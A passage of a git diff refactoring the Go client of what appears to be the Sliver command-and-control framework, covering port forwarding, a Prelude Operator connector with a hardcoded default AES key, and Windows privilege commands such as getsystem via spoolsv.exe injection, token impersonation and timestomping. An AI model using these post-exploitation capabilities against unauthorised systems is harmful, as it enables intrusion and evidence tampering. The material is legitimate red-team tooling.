len(pivotListeners.Listeners) == 0 { @@ -52,14 +58,14 @@ func StopPivotListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, con.PrintErrorf("%s\n", err) return } - id = selectedListener.ID + id = uint64(selectedListener.ID) } - _, err := con.Rpc.PivotStopListener(context.Background(), &sliverpb.PivotStopListenerReq{ - ID: id, + _, err = con.Rpc.PivotStopListener(context.Background(), &sliverpb.PivotStopListenerReq{ + ID: uint32(id), Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Stopped pivot listener\n") diff --git a/client/command/portfwd/commands.go b/client/command/portfwd/commands.go new file mode 100644 index 0000000000..d3c840bfd0 --- /dev/null +++ b/client/command/portfwd/commands.go @@ -0,0 +1,64 @@ +package portfwd + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + portfwdCmd := &cobra.Command{ + Use: consts.PortfwdStr, + Short: "In-band TCP port forwarding", + Long: help.GetHelpFor([]string{consts.PortfwdStr}), + GroupID: consts.NetworkHelpGroup, + Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + PortfwdCmd(cmd, con, args) + }, + } + flags.Bind("", true, portfwdCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + addCmd := &cobra.Command{ + Use: consts.AddStr, + Short: "Create a new port forwarding tunnel", + Long: help.GetHelpFor([]string{consts.PortfwdStr}), + Run: func(cmd *cobra.Command, args []string) { + PortfwdAddCmd(cmd, con, args) + }, + } + portfwdCmd.AddCommand(addCmd) + flags.Bind("", false, addCmd, func(f *pflag.FlagSet) { + f.StringP("remote", "r", "", "remote target host:port (e.g., 10.0.0.1:445)") + f.StringP("bind", "b", "127.0.0.1:8080", "bind port forward to interface") + }) + completers.NewFlagCompsFor(addCmd, func(comp *carapace.ActionMap) { + (*comp)["bind"] = completers.ClientInterfacesCompleter() + }) + + portfwdRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a port forwarding tunnel", + Long: help.GetHelpFor([]string{consts.PortfwdStr}), + Args: cobra.MinimumNArgs(1), + Run: func(cmd *cobra.Command, args []string) { + PortfwdRmCmd(cmd, con, args) + }, + } + + rmComps := completers.NewCompsFor(portfwdRmCmd) + rmComps.PositionalAnyCompletion(PortfwdIDCompleter(con).Usage("ID of portforwarder(s) to remove")) + + portfwdCmd.AddCommand(portfwdRmCmd) + + return []*cobra.Command{portfwdCmd} +} diff --git a/client/command/portfwd/portfwd-add.go b/client/command/portfwd/portfwd-add.go index 36559441df..422fd6164c 100644 --- a/client/command/portfwd/portfwd-add.go +++ b/client/command/portfwd/portfwd-add.go @@ -34,8 +34,8 @@ import ( var portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$") -// PortfwdAddCmd - Add a new tunneled port forward -func PortfwdAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// PortfwdAddCmd - Add a new tunneled port forward. +func PortfwdAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -89,4 +89,6 @@ func PortfwdAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] }() con.PrintInfof("Port forwarding %s -> %s:%s\n", bindAddr, remoteHost, remotePort) + + con.WaitSignal() } diff --git a/client/command/portfwd/portfwd-rm.go b/client/command/portfwd/portfwd-rm.go index ebcc5f5bda..188e69127b 100644 --- a/client/command/portfwd/portfwd-rm.go +++ b/client/command/portfwd/portfwd-rm.go @@ -19,23 +19,31 @@ package portfwd */ import ( + "strconv" + "github.com/spf13/cobra" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" ) -// PortfwdRmCmd - Remove an existing tunneled port forward -func PortfwdRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { - portfwdID, _ := cmd.Flags().GetInt("id") - if portfwdID < 1 { - con.PrintErrorf("Must specify a valid portfwd id\n") - return - } - found := core.Portfwds.Remove(portfwdID) - if !found { - con.PrintErrorf("No portfwd with id %d\n", portfwdID) - } else { - con.PrintInfof("Removed portfwd\n") +// PortfwdRmCmd - Remove an existing tunneled port forward. +func PortfwdRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { + for _, arg := range args { + portfwdID, err := strconv.Atoi(arg) + if err != nil { + con.PrintErrorf("Failed to parse portfwd id: %s\n", err) + } + if portfwdID < 1 { + con.PrintErrorf("Must specify a valid portfwd id\n") + return + } + + found := core.Portfwds.Remove(portfwdID) + if !found { + con.PrintErrorf("No portfwd with id %d\n", portfwdID) + } else { + con.PrintInfof("Removed portfwd\n") + } } } diff --git a/client/command/portfwd/portfwd.go b/client/command/portfwd/portfwd.go index 82c667168b..9c1f24752a 100644 --- a/client/command/portfwd/portfwd.go +++ b/client/command/portfwd/portfwd.go @@ -32,24 +32,25 @@ import ( "github.com/bishopfox/sliver/client/core" ) -// PortfwdCmd - Display information about tunneled port forward(s) -func PortfwdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// PortfwdCmd - Display information about tunneled port forward(s). +func PortfwdCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { PrintPortfwd(con) } -// PrintPortfwd - Print the port forward(s) -func PrintPortfwd(con *console.SliverConsoleClient) { +// PrintPortfwd - Print the port forward(s). +func PrintPortfwd(con *console.SliverClient) { portfwds := core.Portfwds.List() if len(portfwds) == 0 { con.PrintInfof("No port forwards\n") return } - sort.Slice(portfwds[:], func(i, j int) bool { + sort.Slice(portfwds, func(i, j int) bool { return portfwds[i].ID < portfwds[j].ID }) tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Session ID", @@ -67,9 +68,9 @@ func PrintPortfwd(con *console.SliverConsoleClient) { con.Printf("%s\n", tw.Render()) } -// PortfwdIDCompleter completes IDs of local portforwarders -func PortfwdIDCompleter(_ *console.SliverConsoleClient) carapace.Action { - callback := func(_ carapace.Context) carapace.Action { +// PortfwdIDCompleter completes IDs of local portforwarders. +func PortfwdIDCompleter(_ *console.SliverClient) carapace.Action { + callback := func(c carapace.Context) carapace.Action { results := make([]string, 0) portfwds := core.Portfwds.List() @@ -78,15 +79,23 @@ func PortfwdIDCompleter(_ *console.SliverConsoleClient) carapace.Action { } for _, fwd := range portfwds { + results = append(results, strconv.Itoa(int(fwd.ID))) - results = append(results, fmt.Sprintf("%s (%s)", fwd.BindAddr, fwd.SessionID)) + results = append(results, fmt.Sprintf("%s (%s) %s -> %s", + fwd.BindAddr, + fwd.SessionID[:8], + fwd.BindAddr, + fwd.RemoteAddr, + )) } if len(results) == 0 { return carapace.ActionMessage("no local port forwarders") } - return carapace.ActionValuesDescribed(results...).Tag("local port forwarders") + comps := carapace.ActionValuesDescribed(results...).Tag("local port forwarders") + + return comps.Invoke(c).Filter(c.Args...).ToA() } return carapace.ActionCallback(callback) diff --git a/client/command/prelude-operator/commands.go b/client/command/prelude-operator/commands.go new file mode 100644 index 0000000000..f152788fdf --- /dev/null +++ b/client/command/prelude-operator/commands.go @@ -0,0 +1,45 @@ +package operator + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + operatorCmd := &cobra.Command{ + Use: consts.PreludeOperatorStr, + Short: "Manage connection to Prelude's Operator", + Long: help.GetHelpFor([]string{consts.PreludeOperatorStr}), + GroupID: consts.GenericHelpGroup, + Run: func(cmd *cobra.Command, args []string) { + OperatorCmd(cmd, con, args) + }, + } + + operatorConnectCmd := &cobra.Command{ + Use: consts.ConnectStr, + Short: "Connect with Prelude's Operator", + Long: help.GetHelpFor([]string{consts.PreludeOperatorStr, consts.ConnectStr}), + Run: func(cmd *cobra.Command, args []string) { + ConnectCmd(cmd, con, args) + }, + Args: cobra.ExactArgs(1), + } + operatorCmd.AddCommand(operatorConnectCmd) + flags.Bind("operator", false, operatorConnectCmd, func(f *pflag.FlagSet) { + f.BoolP("skip-existing", "s", false, "Do not add existing sessions as Operator Agents") + f.StringP("aes-key", "a", "abcdefghijklmnopqrstuvwxyz012345", "AES key for communication encryption") + f.StringP("range", "r", "sliver", "Agents range") + }) + carapace.Gen(operatorConnectCmd).PositionalCompletion( + carapace.ActionValues().Usage("connection string to the Operator Host (e.g. 127.0.0.1:1234)")) + + return []*cobra.Command{operatorCmd} +} diff --git a/client/command/prelude-operator/connect.go b/client/command/prelude-operator/connect.go index 93e9ee9c10..174471ce83 100644 --- a/client/command/prelude-operator/connect.go +++ b/client/command/prelude-operator/connect.go @@ -29,7 +29,7 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -func ConnectCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ConnectCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { url := args[0] aesKey, _ := cmd.Flags().GetString("aes-key") agentRange, _ := cmd.Flags().GetString("range") @@ -48,7 +48,7 @@ func ConnectCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str if !skipExisting { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("Could not get session list: %s", err) + con.PrintErrorf("Could not get session list: %s", con.UnwrapServerErr(err)) return } if len(sessions.Sessions) > 0 { @@ -65,14 +65,14 @@ func ConnectCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str } beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("Could not get beacon list: %s", err) + con.PrintErrorf("Could not get beacon list: %s", con.UnwrapServerErr(err)) return } if len(beacons.Beacons) > 0 { con.PrintInfof("Adding existing beacons ...\n") for _, beacon := range beacons.Beacons { err = implantMapper.AddImplant(beacon, func(taskID string, cb func(task *clientpb.BeaconTask)) { - con.AddBeaconCallback(taskID, cb) + con.AddBeaconCallback(&commonpb.Response{TaskID: taskID}, cb) }) if err != nil { con.PrintErrorf("Could not add beacon %s to implant mapper: %s", beacon.Name, err) diff --git a/client/command/prelude-operator/operator.go b/client/command/prelude-operator/operator.go index af91ba9d4f..f36a692150 100644 --- a/client/command/prelude-operator/operator.go +++ b/client/command/prelude-operator/operator.go @@ -25,7 +25,7 @@ import ( "github.com/bishopfox/sliver/client/prelude" ) -func OperatorCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func OperatorCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if prelude.ImplantMapper != nil { con.PrintInfof("Connected to Operator at %s\n", prelude.ImplantMapper.GetConfig().OperatorURL) return diff --git a/client/command/privilege/commands.go b/client/command/privilege/commands.go new file mode 100644 index 0000000000..32095e4a7d --- /dev/null +++ b/client/command/privilege/commands.go @@ -0,0 +1,175 @@ +package privilege + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/filesystem" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + runAsCmd := &cobra.Command{ + Use: consts.RunAsStr, + Short: "Run a new process in the context of the designated user (Windows Only)", + Long: help.GetHelpFor([]string{consts.RunAsStr}), + Run: func(cmd *cobra.Command, args []string) { + RunAsCmd(cmd, con, args) + }, + GroupID: consts.PrivilegesHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + } + flags.Bind("", false, runAsCmd, func(f *pflag.FlagSet) { + f.StringP("username", "u", "", "user to impersonate") + f.StringP("process", "p", "", "process to start") + f.StringP("args", "a", "", "arguments for the process") + f.StringP("domain", "d", "", "domain of the user") + f.StringP("password", "P", "", "password of the user") + f.BoolP("show-window", "s", false, ` + Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials.`) + f.BoolP("net-only", "n", false, "use ") + f.Int64P("timeout", "t", 30, "grpc timeout in seconds") + }) + + impersonateCmd := &cobra.Command{ + Use: consts.ImpersonateStr, + Short: "Impersonate a logged in user.", + Long: help.GetHelpFor([]string{consts.ImpersonateStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ImpersonateCmd(cmd, con, args) + }, + GroupID: consts.PrivilegesHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + } + flags.Bind("", false, impersonateCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", 30, "grpc timeout in seconds") + }) + carapace.Gen(impersonateCmd).PositionalCompletion(carapace.ActionValues().Usage("name of the user account to impersonate")) + + revToSelfCmd := &cobra.Command{ + Use: consts.RevToSelfStr, + Short: "Revert to self: lose stolen Windows token", + Long: help.GetHelpFor([]string{consts.RevToSelfStr}), + Run: func(cmd *cobra.Command, args []string) { + RevToSelfCmd(cmd, con, args) + }, + GroupID: consts.PrivilegesHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + } + flags.Bind("", false, revToSelfCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", 30, "grpc timeout in seconds") + }) + + getSystemCmd := &cobra.Command{ + Use: consts.GetSystemStr, + Short: "Spawns a new sliver session as the NT AUTHORITY\\SYSTEM user (Windows Only)", + Long: help.GetHelpFor([]string{consts.GetSystemStr}), + Run: func(cmd *cobra.Command, args []string) { + GetSystemCmd(cmd, con, args) + }, + GroupID: consts.PrivilegesHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + } + flags.Bind("", false, getSystemCmd, func(f *pflag.FlagSet) { + f.StringP("process", "p", "spoolsv.exe", "SYSTEM process to inject into") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + makeTokenCmd := &cobra.Command{ + Use: consts.MakeTokenStr, + Short: "Create a new Logon Session with the specified credentials", + Long: help.GetHelpFor([]string{consts.MakeTokenStr}), + GroupID: consts.PrivilegesHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + MakeTokenCmd(cmd, con, args) + }, + } + flags.Bind("", false, makeTokenCmd, func(f *pflag.FlagSet) { + f.StringP("username", "u", "", "username of the user to impersonate") + f.StringP("password", "p", "", "password of the user to impersonate") + f.StringP("domain", "d", "", "domain of the user to impersonate") + f.StringP("logon-type", "T", "LOGON_NEW_CREDENTIALS", "logon type to use") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + chmodCmd := &cobra.Command{ + Use: consts.ChmodStr, + Short: "Change permissions on a file or directory", + Long: help.GetHelpFor([]string{consts.ChmodStr}), + Args: cobra.ExactArgs(2), + Run: func(cmd *cobra.Command, args []string) { + filesystem.ChmodCmd(cmd, con, args) + }, + GroupID: consts.PrivilegesHelpGroup, + } + flags.Bind("", false, chmodCmd, func(f *pflag.FlagSet) { + f.BoolP("recursive", "r", false, "recursively change permissions on files") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(chmodCmd).PositionalCompletion( + carapace.ActionValues().Usage("path to file to change mod perms"), + carapace.ActionValues().Usage("file permissions in octal (eg. 0644)"), + ) + + chownCmd := &cobra.Command{ + Use: consts.ChownStr, + Short: "Change owner on a file or directory", + Long: help.GetHelpFor([]string{consts.ChownStr}), + Args: cobra.ExactArgs(3), + Run: func(cmd *cobra.Command, args []string) { + filesystem.ChownCmd(cmd, con, args) + }, + GroupID: consts.PrivilegesHelpGroup, + } + flags.Bind("", false, chownCmd, func(f *pflag.FlagSet) { + f.BoolP("recursive", "r", false, "recursively change permissions on files") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(chownCmd).PositionalCompletion( + carapace.ActionValues().Usage("path to file to change owner for"), + carapace.ActionValues().Usage("user ID"), + carapace.ActionValues().Usage("group ID (required)"), + ) + + chtimesCmd := &cobra.Command{ + Use: consts.ChtimesStr, + Short: "Change access and modification times on a file (timestomp)", + Long: help.GetHelpFor([]string{consts.ChtimesStr}), + Args: cobra.ExactArgs(3), + Run: func(cmd *cobra.Command, args []string) { + filesystem.ChtimesCmd(cmd, con, args) + }, + GroupID: consts.PrivilegesHelpGroup, + } + flags.Bind("", false, chtimesCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(chtimesCmd).PositionalCompletion( + carapace.ActionValues().Usage("path to file to change access timestamps"), + carapace.ActionValues().Usage("last accessed time in DateTime format, i.e. 2006-01-02 15:04:05"), + carapace.ActionValues().Usage("last modified time in DateTime format, i.e. 2006-01-02 15:04:05"), + ) + + getprivsCmd := &cobra.Command{ + Use: consts.GetPrivsStr, + Short: "Get current privileges (Windows only)", + Long: help.GetHelpFor([]string{consts.GetPrivsStr}), + GroupID: consts.PrivilegesHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + GetPrivsCmd(cmd, con, args) + }, + } + flags.Bind("", false, getprivsCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{runAsCmd, impersonateCmd, revToSelfCmd, makeTokenCmd, getSystemCmd, chtimesCmd, chmodCmd, chownCmd, getprivsCmd} +} diff --git a/client/command/privilege/getprivs.go b/client/command/privilege/getprivs.go index 13baa95a01..94a78894af 100644 --- a/client/command/privilege/getprivs.go +++ b/client/command/privilege/getprivs.go @@ -20,6 +20,7 @@ package privilege import ( "context" + "errors" "strconv" "strings" @@ -31,13 +32,18 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// GetPrivsCmd - Get the current process privileges (Windows only) -func GetPrivsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// GetPrivsCmd - Get the current process privileges (Windows only). +func GetPrivsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return } - targetOS := getOS(session, beacon) + targetOS, err := getOS(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } + if targetOS != "windows" { con.PrintErrorf("Command only supported on Windows.\n") return @@ -47,12 +53,17 @@ func GetPrivsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) + return + } + pid, err := getPID(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) return } - pid := getPID(session, beacon) + if privs.Response != nil && privs.Response.Async { - con.AddBeaconCallback(privs.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(privs.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, privs) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -60,14 +71,13 @@ func GetPrivsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } PrintGetPrivs(privs, pid, con) }) - con.PrintAsyncResponse(privs.Response) } else { PrintGetPrivs(privs, pid, con) } } -// PrintGetPrivs - Print the results of the get privs command -func PrintGetPrivs(privs *sliverpb.GetPrivs, pid int32, con *console.SliverConsoleClient) { +// PrintGetPrivs - Print the results of the get privs command. +func PrintGetPrivs(privs *sliverpb.GetPrivs, pid int32, con *console.SliverClient) { // Response is the Envelope (see RPC API), Err is part of it. if privs.Response != nil && privs.Response.Err != "" { con.PrintErrorf("NOTE: Information may be incomplete due to an error:\n") @@ -126,22 +136,24 @@ func PrintGetPrivs(privs *sliverpb.GetPrivs, pid int32, con *console.SliverConso } } -func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string { +func getOS(session *clientpb.Session, beacon *clientpb.Beacon) (string, error) { if session != nil { - return session.OS + return session.OS, nil } if beacon != nil { - return beacon.OS + return beacon.OS, nil } - panic("no session or beacon") + + return "", errors.New("no session or beacon") } -func getPID(session *clientpb.Session, beacon *clientpb.Beacon) int32 { +func getPID(session *clientpb.Session, beacon *clientpb.Beacon) (int32, error) { if session != nil { - return session.PID + return session.PID, nil } if beacon != nil { - return beacon.PID + return beacon.PID, nil } - panic("no session or beacon") + + return -1, errors.New("no session or beacon") } diff --git a/client/command/privilege/getsystem.go b/client/command/privilege/getsystem.go index 42771d77ba..3926a10acc 100644 --- a/client/command/privilege/getsystem.go +++ b/client/command/privilege/getsystem.go @@ -21,22 +21,25 @@ package privilege import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// GetSystemCmd - Windows only, attempt to get SYSTEM on the remote system -func GetSystemCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// GetSystemCmd - Windows only, attempt to get SYSTEM on the remote system. +func GetSystemCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return } - targetOS := getOS(session, beacon) + targetOS, err := getOS(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } if targetOS != "windows" { con.PrintErrorf("Command only supported on Windows.\n") return @@ -55,12 +58,12 @@ func GetSystemCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if getSystem.Response != nil && getSystem.Response.Async { - con.AddBeaconCallback(getSystem.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(getSystem.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, getSystem) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -68,14 +71,13 @@ func GetSystemCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s } PrintGetSystem(getSystem, con) }) - con.PrintAsyncResponse(getSystem.Response) } else { PrintGetSystem(getSystem, con) } } -// PrintGetSystem - Print the results of get system -func PrintGetSystem(getsystemResp *sliverpb.GetSystem, con *console.SliverConsoleClient) { +// PrintGetSystem - Print the results of get system. +func PrintGetSystem(getsystemResp *sliverpb.GetSystem, con *console.SliverClient) { if getsystemResp.Response != nil && getsystemResp.Response.GetErr() != "" { con.PrintErrorf("%s\n", getsystemResp.GetResponse().GetErr()) return diff --git a/client/command/privilege/impersonate.go b/client/command/privilege/impersonate.go index 5fb3290726..127e1341b8 100644 --- a/client/command/privilege/impersonate.go +++ b/client/command/privilege/impersonate.go @@ -21,17 +21,16 @@ package privilege import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// ImpersonateCmd - Windows only, impersonate a user token -func ImpersonateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ImpersonateCmd - Windows only, impersonate a user token. +func ImpersonateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -43,12 +42,12 @@ func ImpersonateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ Username: username, }) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } if impersonate.Response != nil && impersonate.Response.Async { - con.AddBeaconCallback(impersonate.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(impersonate.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, impersonate) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -56,14 +55,13 @@ func ImpersonateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ } PrintImpersonate(impersonate, username, con) }) - con.PrintAsyncResponse(impersonate.Response) } else { PrintImpersonate(impersonate, username, con) } } -// PrintImpersonate - Print the results of the attempted impersonation -func PrintImpersonate(impersonate *sliverpb.Impersonate, username string, con *console.SliverConsoleClient) { +// PrintImpersonate - Print the results of the attempted impersonation. +func PrintImpersonate(impersonate *sliverpb.Impersonate, username string, con *console.SliverClient) { if impersonate.Response != nil && impersonate.Response.GetErr() != "" { con.PrintErrorf("%s\n", impersonate.Response.GetErr()) return diff --git a/client/command/privilege/make-token.go b/client/command/privilege/make-token.go index ae1ee3fcc1..1dd1da4dd4 100644 --- a/client/command/privilege/make-token.go +++ b/client/command/privilege/make-token.go @@ -21,9 +21,8 @@ package privilege import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" @@ -40,8 +39,8 @@ var logonTypes = map[string]uint32{ "LOGON_NEW_CREDENTIALS": 9, } -// MakeTokenCmd - Windows only, create a token using "valid" credentails -func MakeTokenCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// MakeTokenCmd - Windows only, create a token using "valid" credentials. +func MakeTokenCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -75,12 +74,12 @@ func MakeTokenCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if makeToken.Response != nil && makeToken.Response.Async { - con.AddBeaconCallback(makeToken.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(makeToken.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, makeToken) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -88,14 +87,13 @@ func MakeTokenCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s } PrintMakeToken(makeToken, domain, username, con) }) - con.PrintAsyncResponse(makeToken.Response) } else { PrintMakeToken(makeToken, domain, username, con) } } -// PrintMakeToken - Print the results of attempting to make a token -func PrintMakeToken(makeToken *sliverpb.MakeToken, domain string, username string, con *console.SliverConsoleClient) { +// PrintMakeToken - Print the results of attempting to make a token. +func PrintMakeToken(makeToken *sliverpb.MakeToken, domain string, username string, con *console.SliverClient) { if makeToken.Response != nil && makeToken.Response.GetErr() != "" { con.PrintErrorf("%s\n", makeToken.Response.GetErr()) return diff --git a/client/command/privilege/rev2self.go b/client/command/privilege/rev2self.go index 2b5dea324a..5c7daa5f0a 100644 --- a/client/command/privilege/rev2self.go +++ b/client/command/privilege/rev2self.go @@ -21,17 +21,16 @@ package privilege import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// RevToSelfCmd - Drop any impersonated tokens -func RevToSelfCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// RevToSelfCmd - Drop any impersonated tokens. +func RevToSelfCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -41,12 +40,12 @@ func RevToSelfCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if revert.Response != nil && revert.Response.Async { - con.AddBeaconCallback(revert.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(revert.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, revert) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -54,14 +53,13 @@ func RevToSelfCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s } PrintRev2Self(revert, con) }) - con.PrintAsyncResponse(revert.Response) } else { PrintRev2Self(revert, con) } } -// PrintRev2Self - Print the result of revert to self -func PrintRev2Self(revert *sliverpb.RevToSelf, con *console.SliverConsoleClient) { +// PrintRev2Self - Print the result of revert to self. +func PrintRev2Self(revert *sliverpb.RevToSelf, con *console.SliverClient) { if revert.Response != nil && revert.Response.GetErr() != "" { con.PrintErrorf("%s\n", revert.Response.GetErr()) return diff --git a/client/command/privilege/runas.go b/client/command/privilege/runas.go index a83e6c5576..646ec3de1d 100644 --- a/client/command/privilege/runas.go +++ b/client/command/privilege/runas.go @@ -20,18 +20,18 @@ package privilege import ( "context" - - "google.golang.org/protobuf/proto" + "errors" "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" 